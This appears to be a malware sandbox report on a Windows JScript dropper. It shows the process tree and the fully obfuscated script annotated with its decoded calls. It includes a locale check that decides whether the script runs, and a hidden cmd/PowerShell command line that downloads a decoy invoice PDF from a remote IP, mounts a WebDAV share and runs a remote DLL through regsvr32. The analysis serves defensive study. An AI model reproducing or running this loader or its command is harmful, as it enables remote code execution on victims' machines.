Jan 10, 2025 17:13:09.892283916 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:12:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js"
Imagebase:	0x7ff656ca0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:12:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Imagebase:	0x7ff733d10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:12:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:12:59
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:13:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:13:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff733d10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:13:08
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7bcd30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:13:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:13:09
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:13:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1792,i,5285595504766406101,835774247226273641,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rluqh() {	rluqh() ➔ undefined
1	ecthyxrb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zusivntk = this[ckacaq + wewldall + hyxcp + uwiock + apoevrci + detetadr + mljrujie + nlkskp] ( this[hywtkw + mpdkuffzl + msejg + hyxcp + ptizt + ckacaq + nlkskp][ozjubvx + hyxcp + apoevrci + wewldall + nlkskp + apoevrci + rvyeee + cmezhdl + sbephqr + apoevrci + msejg + nlkskp] ( hywtkw + mpdkuffzl + msejg + hyxcp + ptizt + ckacaq + nlkskp + jvprskjo + mpdkuffzl + otauxw + apoevrci + mhmyz + mhmyz ) [scijfyby + apoevrci + udrag + scijfyby + apoevrci + wewldall + wkwpa] ( iaiwyeao + dqnhqnsl + vnbuptnw + czgeboy + njiag + ozjubvx + hagqcy + scijfyby + scijfyby + vnbuptnw + ejkjblj + dkgosy + njiag + hagqcy + mpdkuffzl + vnbuptnw + scijfyby + qikzo + ozjubvx + qdkha + mljrujie + nlkskp + hyxcp + qdkha + mhmyz + bctdhle + ewoonlr + wewldall + mljrujie + apoevrci + mhmyz + qikzo + detetadr + mljrujie + nlkskp + apoevrci + hyxcp + mljrujie + wewldall + nlkskp + ptizt + qdkha + mljrujie + wewldall + mhmyz + qikzo + lymrli + qdkha + msejg + wewldall + mhmyz + apoevrci ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nqkxhr = 0 ; nqkxhr < ecthyxrb[mhmyz + apoevrci + mljrujie + udrag + nlkskp + otauxw] ; ++ nqkxhr )
4	{
5	if ( zusivntk == ecthyxrb[nqkxhr] )
6	{
7	zusivntk = true;
8	break ;
9	}
10	}
11	if ( zusivntk !== true )
12	this[hywtkw + mpdkuffzl + msejg + hyxcp + ptizt + ckacaq + nlkskp][ebfwgr + uqobau + ptizt + nlkskp] ( );
13	this[hywtkw + mpdkuffzl + msejg + hyxcp + ptizt + ckacaq + nlkskp][ozjubvx + hyxcp + apoevrci + wewldall + nlkskp + apoevrci + rvyeee + cmezhdl + sbephqr + apoevrci + msejg + nlkskp] ( hywtkw + mpdkuffzl + msejg + hyxcp + ptizt + ckacaq + nlkskp + jvprskjo + mpdkuffzl + otauxw + apoevrci + mhmyz + mhmyz ) [hyxcp + uqobau + mljrujie] ( msejg + yiiyk + wkwpa + bctdhle + osthoo + msejg + bctdhle + ckacaq + qdkha + yhgseuoa + apoevrci + hyxcp + uwiock + otauxw + apoevrci + mhmyz + mhmyz + jvprskjo + apoevrci + zwzxq + apoevrci + bctdhle + exrgm + ozjubvx + qdkha + yiiyk + yiiyk + wewldall + mljrujie + wkwpa + bctdhle + jsxccwdem + detetadr + mljrujie + nuapp + qdkha + irtdbpgck + apoevrci + exrgm + hywtkw + apoevrci + cmezhdl + scijfyby + apoevrci + lveerbkby + uqobau + apoevrci + uwiock + nlkskp + bctdhle + exrgm + rvyeee + uqobau + nlkskp + jamcvmzn + ptizt + mhmyz + apoevrci + bctdhle + ddjsot + nlkskp + apoevrci + yiiyk + ckacaq + ddjsot + qikzo + ptizt + mljrujie + nuapp + qdkha + ptizt + msejg + apoevrci + jvprskjo + ckacaq + wkwpa + wurwygv + bctdhle + otauxw + nlkskp + nlkskp + ckacaq + jlfnimz + osthoo + osthoo + iwpmipfv + kmdbhfvkx + xbuyhofxw + jvprskjo + iwpmipfv + lmnpsrbqn + xbuyhofxw + jvprskjo + iwpmipfv + jvprskjo + thqanqq + txzpq + wtovydp + osthoo + ptizt + mljrujie + nuapp + qdkha + ptizt + msejg + apoevrci + jvprskjo + ckacaq + otauxw + ckacaq + jsxccwdem + sdgfsdbg + sdgfsdbg + uwiock + nlkskp + wewldall + hyxcp + nlkskp + bctdhle + ddjsot + nlkskp + apoevrci + yiiyk + ckacaq + ddjsot + qikzo + ptizt + mljrujie + nuapp + qdkha + ptizt + msejg + apoevrci + jvprskjo + ckacaq + wkwpa + wurwygv + sdgfsdbg + sdgfsdbg + msejg + yiiyk + wkwpa + bctdhle + osthoo + msejg + bctdhle + mljrujie + apoevrci + nlkskp + bctdhle + uqobau + uwiock + apoevrci + bctdhle + qikzo + qikzo + iwpmipfv + kmdbhfvkx + xbuyhofxw + jvprskjo + iwpmipfv + lmnpsrbqn + xbuyhofxw + jvprskjo + iwpmipfv + jvprskjo + thqanqq + txzpq + wtovydp + cdhsikwpz + xkkgqukrj + xkkgqukrj + xkkgqukrj + xkkgqukrj + qikzo + wkwpa + wewldall + nuapp + yhgseuoa + yhgseuoa + yhgseuoa + hyxcp + qdkha + qdkha + nlkskp + qikzo + sdgfsdbg + sdgfsdbg + msejg + yiiyk + wkwpa + bctdhle + osthoo + msejg + bctdhle + hyxcp + apoevrci + udrag + uwiock + nuapp + hyxcp + xbuyhofxw + thqanqq + bctdhle + osthoo + uwiock + bctdhle + qikzo + qikzo + iwpmipfv + kmdbhfvkx + xbuyhofxw + jvprskjo + iwpmipfv + lmnpsrbqn + xbuyhofxw + jvprskjo + iwpmipfv + jvprskjo + thqanqq + txzpq + wtovydp + cdhsikwpz + xkkgqukrj + xkkgqukrj + xkkgqukrj + xkkgqukrj + qikzo + wkwpa + wewldall + nuapp + yhgseuoa + yhgseuoa + yhgseuoa + hyxcp + qdkha + qdkha + nlkskp + qikzo + iwpmipfv + kigvcp + xkkgqukrj + thqanqq + iwpmipfv + kigvcp + iwpmipfv + wtovydp + wtovydp + kmdbhfvkx + xbuyhofxw + lmnpsrbqn + smqquwtu + jvprskjo + wkwpa + mhmyz + mhmyz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll",0,false) ➔ 0
14	}
15	apoevrci = "C";
16	apoevrci = "P";
17	apoevrci = "O";
18	apoevrci = "I";
19	apoevrci = "g";
20	apoevrci = "p";
21	apoevrci = "I";
22	apoevrci = "J";
23	apoevrci = "T";
24	apoevrci = "A";
25	apoevrci = "g";
26	apoevrci = "r";
27	apoevrci = "j";
28	apoevrci = "a";
29	apoevrci = "Z";
30	apoevrci = "Z";
31	apoevrci = "o";
32	apoevrci = "p";
33	apoevrci = "x";
34	apoevrci = "f";
35	apoevrci = "Z";
36	apoevrci = "T";
37	apoevrci = "E";
38	apoevrci = "R";
39	apoevrci = "S";
40	apoevrci = "Y";
41	apoevrci = "f";
42	apoevrci = "b";
43	apoevrci = "C";
44	apoevrci = "G";
45	apoevrci = "e";
46	uqobau = "a";
47	uqobau = "Y";
48	uqobau = "T";
49	uqobau = "U";
50	uqobau = "C";
51	uqobau = "E";
52	uqobau = "J";
53	uqobau = "R";
54	uqobau = "K";
55	uqobau = "j";
56	uqobau = "G";
57	uqobau = "G";
58	uqobau = "j";
59	uqobau = "Z";
60	uqobau = "g";
61	uqobau = "C";
62	uqobau = "C";
63	uqobau = "D";
64	uqobau = "T";
65	uqobau = "D";
66	uqobau = "r";
67	uqobau = "e";
68	uqobau = "u";
69	kmdbhfvkx = "r";
70	kmdbhfvkx = "I";
71	kmdbhfvkx = "k";
72	kmdbhfvkx = "i";
73	kmdbhfvkx = "X";
74	kmdbhfvkx = "r";
75	kmdbhfvkx = "X";
76	kmdbhfvkx = "K";
77	kmdbhfvkx = "q";
78	kmdbhfvkx = "p";
79	kmdbhfvkx = "k";
80	kmdbhfvkx = "S";
81	kmdbhfvkx = "M";
82	kmdbhfvkx = "K";
83	kmdbhfvkx = "I";
84	kmdbhfvkx = "o";
85	kmdbhfvkx = "c";
86	kmdbhfvkx = "K";
87	kmdbhfvkx = "W";
88	kmdbhfvkx = "P";
89	kmdbhfvkx = "9";
90	dkgosy = "x";
91	dkgosy = "G";
92	dkgosy = "N";
93	dkgosy = "B";
94	dkgosy = "v";
95	dkgosy = "w";
96	dkgosy = "q";
97	dkgosy = "I";
98	dkgosy = "e";
99	dkgosy = "R";
100	dkgosy = "v";
101	dkgosy = "o";
102	dkgosy = "A";
103	dkgosy = "r";
104	dkgosy = "i";
105	dkgosy = "X";
106	dkgosy = "u";
107	dkgosy = "Q";
108	dkgosy = "p";
109	dkgosy = "p";
110	dkgosy = "z";
111	dkgosy = "e";
112	dkgosy = "y";
113	dkgosy = "o";
114	dkgosy = "p";
115	dkgosy = "G";
116	dkgosy = "L";
117	dkgosy = "I";
118	dkgosy = "T";
119	iwpmipfv = "o";
120	iwpmipfv = "l";
121	iwpmipfv = "o";
122	iwpmipfv = "A";
123	iwpmipfv = "U";
124	iwpmipfv = "f";
125	iwpmipfv = "s";
126	iwpmipfv = "O";
127	iwpmipfv = "s";
128	iwpmipfv = "h";
129	iwpmipfv = "1";
130	detetadr = "g";
131	detetadr = "B";
132	detetadr = "s";
133	detetadr = "s";
134	detetadr = "N";
135	detetadr = "L";
136	detetadr = "o";
137	detetadr = "H";
138	detetadr = "n";
139	detetadr = "D";
140	detetadr = "K";
141	detetadr = "T";
142	detetadr = "R";
143	detetadr = "a";
144	detetadr = "i";
145	detetadr = "R";
146	detetadr = "h";
147	detetadr = "O";
148	detetadr = "F";
149	detetadr = "d";
150	detetadr = "H";
151	detetadr = "O";
152	detetadr = "z";
153	detetadr = "y";
154	detetadr = "F";
155	detetadr = "W";
156	detetadr = "i";
157	detetadr = "M";
158	detetadr = "m";
159	detetadr = "e";
160	detetadr = "q";
161	detetadr = "Z";
162	detetadr = "c";
163	detetadr = "a";
164	detetadr = "v";
165	detetadr = "o";
166	detetadr = "n";
167	detetadr = "I";
168	vnbuptnw = "Q";
169	vnbuptnw = "y";
170	vnbuptnw = "n";
171	vnbuptnw = "R";
172	vnbuptnw = "s";
173	vnbuptnw = "L";
174	vnbuptnw = "C";
175	vnbuptnw = "X";
176	vnbuptnw = "b";
177	vnbuptnw = "V";
178	vnbuptnw = "i";
179	vnbuptnw = "V";
180	vnbuptnw = "H";
181	vnbuptnw = "T";
182	vnbuptnw = "a";
183	vnbuptnw = "g";
184	vnbuptnw = "V";
185	vnbuptnw = "M";
186	vnbuptnw = "K";
187	vnbuptnw = "t";
188	vnbuptnw = "f";
189	vnbuptnw = "X";
190	vnbuptnw = "N";
191	vnbuptnw = "F";
192	vnbuptnw = "b";
193	vnbuptnw = "e";
194	vnbuptnw = "a";
195	vnbuptnw = "E";
196	ddjsot = "C";
197	ddjsot = "h";
198	ddjsot = "P";
199	ddjsot = "n";
200	ddjsot = "Y";
201	ddjsot = "N";
202	ddjsot = "G";
203	ddjsot = "Z";
204	ddjsot = "H";
205	ddjsot = "D";
206	ddjsot = "Y";
207	ddjsot = "A";
208	ddjsot = "b";
209	ddjsot = "S";
210	ddjsot = "j";
211	ddjsot = "f";
212	ddjsot = "l";
213	ddjsot = "E";
214	ddjsot = "n";
215	ddjsot = "E";
216	ddjsot = "b";
217	ddjsot = "d";
218	ddjsot = "x";
219	ddjsot = "z";
220	ddjsot = "l";
221	ddjsot = "S";
222	ddjsot = "u";
223	ddjsot = "p";
224	ddjsot = "R";
225	ddjsot = "%";
226	jvprskjo = "N";
227	jvprskjo = "b";
228	jvprskjo = "W";
229	jvprskjo = "w";
230	jvprskjo = "q";
231	jvprskjo = "J";
232	jvprskjo = "B";
233	jvprskjo = "Y";
234	jvprskjo = "S";
235	jvprskjo = "c";
236	jvprskjo = "r";
237	jvprskjo = "x";
238	jvprskjo = "A";
239	jvprskjo = "Z";
240	jvprskjo = "z";
241	jvprskjo = "T";
242	jvprskjo = "q";
243	jvprskjo = "t";
244	jvprskjo = "t";
245	jvprskjo = "n";
246	jvprskjo = "r";
247	jvprskjo = "Q";
248	jvprskjo = "B";
249	jvprskjo = "n";
250	jvprskjo = "z";
251	jvprskjo = "W";
252	jvprskjo = "r";
253	jvprskjo = "R";
254	jvprskjo = "M";
255	jvprskjo = "Z";
256	jvprskjo = "g";
257	jvprskjo = "V";
258	jvprskjo = ".";
259	qikzo = "m";
260	qikzo = "s";
261	qikzo = "w";
262	qikzo = "r";
263	qikzo = "V";
264	qikzo = "K";
265	qikzo = "v";
266	qikzo = "y";
267	qikzo = "U";
268	qikzo = "x";
269	qikzo = "H";
270	qikzo = "C";
271	qikzo = "X";
272	qikzo = "H";
273	qikzo = "h";
274	qikzo = "M";
275	qikzo = "H";
276	qikzo = "T";
277	qikzo = "e";
278	qikzo = "a";
279	qikzo = "h";
280	qikzo = "N";
281	qikzo = "X";
282	qikzo = "x";
283	qikzo = "s";
284	qikzo = "e";
285	qikzo = "z";
286	qikzo = "M";
287	qikzo = "M";
288	qikzo = "c";
289	qikzo = "t";
290	qikzo = "c";
291	qikzo = "A";
292	qikzo = "Y";
293	qikzo = "l";
294	qikzo = "f";
295	qikzo = "q";
296	qikzo = "x";
297	qikzo = "\\";
298	kigvcp = "P";
299	kigvcp = "K";
300	kigvcp = "P";
301	kigvcp = "J";
302	kigvcp = "K";
303	kigvcp = "K";
304	kigvcp = "Q";
305	kigvcp = "L";
306	kigvcp = "Q";
307	kigvcp = "w";
308	kigvcp = "I";
309	kigvcp = "v";
310	kigvcp = "V";
311	kigvcp = "A";
312	kigvcp = "a";
313	kigvcp = "J";
314	kigvcp = "m";
315	kigvcp = "H";
316	kigvcp = "h";
317	kigvcp = "d";
318	kigvcp = "C";
319	kigvcp = "v";
320	kigvcp = "q";
321	kigvcp = "d";
322	kigvcp = "O";
323	kigvcp = "F";
324	kigvcp = "f";
325	kigvcp = "S";
326	kigvcp = "d";
327	kigvcp = "y";
328	kigvcp = "W";
329	kigvcp = "p";
330	kigvcp = "u";
331	kigvcp = "I";
332	kigvcp = "P";
333	kigvcp = "Q";
334	kigvcp = "d";
335	kigvcp = "y";
336	kigvcp = "b";
337	kigvcp = "7";
338	nlkskp = "Q";
339	nlkskp = "h";
340	nlkskp = "Z";
341	nlkskp = "F";
342	nlkskp = "E";
343	nlkskp = "U";
344	nlkskp = "e";
345	nlkskp = "j";
346	nlkskp = "h";
347	nlkskp = "V";
348	nlkskp = "G";
349	nlkskp = "b";
350	nlkskp = "c";
351	nlkskp = "i";
352	nlkskp = "c";
353	nlkskp = "b";
354	nlkskp = "Q";
355	nlkskp = "Y";
356	nlkskp = "m";
357	nlkskp = "r";
358	nlkskp = "X";
359	nlkskp = "r";
360	nlkskp = "j";
361	nlkskp = "W";
362	nlkskp = "P";
363	nlkskp = "B";
364	nlkskp = "d";
365	nlkskp = "w";
366	nlkskp = "G";
367	nlkskp = "x";
368	nlkskp = "b";
369	nlkskp = "t";
370	mpdkuffzl = "p";
371	mpdkuffzl = "i";
372	mpdkuffzl = "B";
373	mpdkuffzl = "N";
374	mpdkuffzl = "g";
375	mpdkuffzl = "V";
376	mpdkuffzl = "q";
377	mpdkuffzl = "i";
378	mpdkuffzl = "T";
379	mpdkuffzl = "J";
380	mpdkuffzl = "C";
381	mpdkuffzl = "U";
382	mpdkuffzl = "t";
383	mpdkuffzl = "t";
384	mpdkuffzl = "d";
385	mpdkuffzl = "v";
386	mpdkuffzl = "k";
387	mpdkuffzl = "s";
388	mpdkuffzl = "c";
389	mpdkuffzl = "S";
390	dqnhqnsl = "X";
391	dqnhqnsl = "t";
392	dqnhqnsl = "C";
393	dqnhqnsl = "w";
394	dqnhqnsl = "d";
395	dqnhqnsl = "Z";
396	dqnhqnsl = "U";
397	dqnhqnsl = "a";
398	dqnhqnsl = "k";
399	dqnhqnsl = "a";
400	dqnhqnsl = "t";
401	dqnhqnsl = "L";
402	dqnhqnsl = "C";
403	dqnhqnsl = "t";
404	dqnhqnsl = "J";
405	dqnhqnsl = "T";
406	dqnhqnsl = "g";
407	dqnhqnsl = "U";
408	dqnhqnsl = "o";
409	dqnhqnsl = "e";
410	dqnhqnsl = "s";
411	dqnhqnsl = "t";
412	dqnhqnsl = "n";
413	dqnhqnsl = "H";
414	dqnhqnsl = "r";
415	dqnhqnsl = "m";
416	dqnhqnsl = "O";
417	dqnhqnsl = "u";
418	dqnhqnsl = "h";
419	dqnhqnsl = "w";
420	dqnhqnsl = "g";
421	dqnhqnsl = "z";
422	dqnhqnsl = "v";
423	dqnhqnsl = "A";
424	dqnhqnsl = "L";
425	dqnhqnsl = "a";
426	dqnhqnsl = "o";
427	dqnhqnsl = "t";
428	dqnhqnsl = "n";
429	dqnhqnsl = "M";
430	dqnhqnsl = "b";
431	dqnhqnsl = "k";
432	dqnhqnsl = "w";
433	dqnhqnsl = "A";
434	dqnhqnsl = "K";
435	lmnpsrbqn = "H";
436	lmnpsrbqn = "V";
437	lmnpsrbqn = "o";
438	lmnpsrbqn = "D";
439	lmnpsrbqn = "c";
440	lmnpsrbqn = "q";
441	lmnpsrbqn = "J";
442	lmnpsrbqn = "M";
443	lmnpsrbqn = "A";
444	lmnpsrbqn = "R";
445	lmnpsrbqn = "A";
446	lmnpsrbqn = "C";
447	lmnpsrbqn = "B";
448	lmnpsrbqn = "4";
449	ckacaq = "y";
450	ckacaq = "L";
451	ckacaq = "i";
452	ckacaq = "Z";
453	ckacaq = "M";
454	ckacaq = "y";
455	ckacaq = "s";
456	ckacaq = "k";
457	ckacaq = "y";
458	ckacaq = "t";
459	ckacaq = "N";
460	ckacaq = "K";
461	ckacaq = "j";
462	ckacaq = "H";
463	ckacaq = "p";
464	mljrujie = "r";
465	mljrujie = "P";
466	mljrujie = "n";
467	udrag = "a";
468	udrag = "Z";
469	udrag = "v";
470	udrag = "H";
471	udrag = "O";
472	udrag = "A";
473	udrag = "Y";
474	udrag = "k";
475	udrag = "A";
476	udrag = "a";
477	udrag = "J";
478	udrag = "r";
479	udrag = "M";
480	udrag = "r";
481	udrag = "D";
482	udrag = "n";
483	udrag = "g";
484	ewoonlr = "q";
485	ewoonlr = "N";
486	ewoonlr = "A";
487	ewoonlr = "r";
488	ewoonlr = "u";
489	ewoonlr = "R";
490	ewoonlr = "D";
491	ewoonlr = "V";
492	ewoonlr = "x";
493	ewoonlr = "H";
494	ewoonlr = "Z";
495	ewoonlr = "Y";
496	ewoonlr = "S";
497	ewoonlr = "k";
498	ewoonlr = "C";
499	ewoonlr = "d";
500	ewoonlr = "t";
501	ewoonlr = "F";
502	ewoonlr = "L";
503	ewoonlr = "m";
504	ewoonlr = "O";
505	ewoonlr = "u";
506	ewoonlr = "h";
507	ewoonlr = "t";
508	ewoonlr = "K";
509	ewoonlr = "Y";
510	ewoonlr = "e";
511	ewoonlr = "M";
512	ewoonlr = "r";
513	ewoonlr = "O";
514	ewoonlr = "B";
515	ewoonlr = "P";
516	hywtkw = "q";
517	hywtkw = "G";
518	hywtkw = "g";
519	hywtkw = "P";
520	hywtkw = "U";
521	hywtkw = "K";
522	hywtkw = "L";
523	hywtkw = "W";
524	hywtkw = "R";
525	hywtkw = "j";
526	hywtkw = "P";
527	hywtkw = "t";
528	hywtkw = "p";
529	hywtkw = "Z";
530	hywtkw = "f";
531	hywtkw = "l";
532	hywtkw = "Z";
533	hywtkw = "Z";
534	hywtkw = "j";
535	hywtkw = "F";
536	hywtkw = "l";
537	hywtkw = "v";
538	hywtkw = "X";
539	hywtkw = "U";
540	hywtkw = "j";
541	hywtkw = "u";
542	hywtkw = "N";
543	hywtkw = "z";
544	hywtkw = "I";
545	hywtkw = "J";
546	hywtkw = "k";
547	hywtkw = "p";
548	hywtkw = "d";
549	hywtkw = "f";
550	hywtkw = "R";
551	hywtkw = "B";
552	hywtkw = "W";
553	zwzxq = "t";
554	zwzxq = "c";
555	zwzxq = "t";
556	zwzxq = "H";
557	zwzxq = "j";
558	zwzxq = "d";
559	zwzxq = "b";
560	zwzxq = "v";
561	zwzxq = "D";
562	zwzxq = "z";
563	zwzxq = "y";
564	zwzxq = "g";
565	zwzxq = "s";
566	zwzxq = "f";
567	zwzxq = "S";
568	zwzxq = "G";
569	zwzxq = "O";
570	zwzxq = "b";
571	zwzxq = "Y";
572	zwzxq = "j";
573	zwzxq = "o";
574	zwzxq = "R";
575	zwzxq = "g";
576	zwzxq = "y";
577	zwzxq = "d";
578	zwzxq = "N";
579	zwzxq = "p";
580	zwzxq = "d";
581	zwzxq = "C";
582	zwzxq = "g";
583	zwzxq = "A";
584	zwzxq = "J";
585	zwzxq = "r";
586	zwzxq = "x";
587	njiag = "w";
588	njiag = "K";
589	njiag = "F";
590	njiag = "W";
591	njiag = "x";
592	njiag = "B";
593	njiag = "t";
594	njiag = "_";
595	lymrli = "y";
596	lymrli = "w";
597	lymrli = "v";
598	lymrli = "F";
599	lymrli = "B";
600	lymrli = "y";
601	lymrli = "J";
602	lymrli = "L";
603	lymrli = "j";
604	lymrli = "o";
605	lymrli = "H";
606	lymrli = "K";
607	lymrli = "H";
608	lymrli = "j";
609	lymrli = "p";
610	lymrli = "q";
611	lymrli = "g";
612	lymrli = "s";
613	lymrli = "f";
614	lymrli = "t";
615	lymrli = "n";
616	lymrli = "l";
617	lymrli = "A";
618	lymrli = "w";
619	lymrli = "R";
620	lymrli = "j";
621	lymrli = "t";
622	lymrli = "C";
623	lymrli = "w";
624	lymrli = "n";
625	lymrli = "L";
626	otauxw = "Y";
627	otauxw = "M";
628	otauxw = "W";
629	otauxw = "l";
630	otauxw = "e";
631	otauxw = "g";
632	otauxw = "u";
633	otauxw = "i";
634	otauxw = "x";
635	otauxw = "h";
636	lveerbkby = "t";
637	lveerbkby = "P";
638	lveerbkby = "L";
639	lveerbkby = "D";
640	lveerbkby = "O";
641	lveerbkby = "d";
642	lveerbkby = "L";
643	lveerbkby = "A";
644	lveerbkby = "v";
645	lveerbkby = "B";
646	lveerbkby = "A";
647	lveerbkby = "B";
648	lveerbkby = "I";
649	lveerbkby = "W";
650	lveerbkby = "v";
651	lveerbkby = "Y";
652	lveerbkby = "R";
653	lveerbkby = "B";
654	lveerbkby = "m";
655	lveerbkby = "B";
656	lveerbkby = "o";
657	lveerbkby = "y";
658	lveerbkby = "I";
659	lveerbkby = "S";
660	lveerbkby = "n";
661	lveerbkby = "Z";
662	lveerbkby = "N";
663	lveerbkby = "z";
664	lveerbkby = "I";
665	lveerbkby = "R";
666	lveerbkby = "x";
667	lveerbkby = "e";
668	lveerbkby = "R";
669	lveerbkby = "f";
670	lveerbkby = "M";
671	lveerbkby = "Y";
672	lveerbkby = "u";
673	lveerbkby = "l";
674	lveerbkby = "s";
675	lveerbkby = "S";
676	lveerbkby = "A";
677	lveerbkby = "C";
678	lveerbkby = "t";
679	lveerbkby = "q";
680	jsxccwdem = "u";
681	jsxccwdem = "Q";
682	jsxccwdem = "V";
683	jsxccwdem = "b";
684	jsxccwdem = "T";
685	jsxccwdem = "n";
686	jsxccwdem = "o";
687	jsxccwdem = "b";
688	jsxccwdem = "q";
689	jsxccwdem = "x";
690	jsxccwdem = "G";
691	jsxccwdem = "h";
692	jsxccwdem = "o";
693	jsxccwdem = "s";
694	jsxccwdem = "z";
695	jsxccwdem = "g";
696	jsxccwdem = "l";
697	jsxccwdem = "s";
698	jsxccwdem = "r";
699	jsxccwdem = "m";
700	jsxccwdem = "q";
701	jsxccwdem = "G";
702	jsxccwdem = "r";
703	jsxccwdem = "d";
704	jsxccwdem = "z";
705	jsxccwdem = "q";
706	jsxccwdem = "k";
707	jsxccwdem = "l";
708	jsxccwdem = "A";
709	jsxccwdem = "p";
710	jsxccwdem = "S";
711	jsxccwdem = "L";
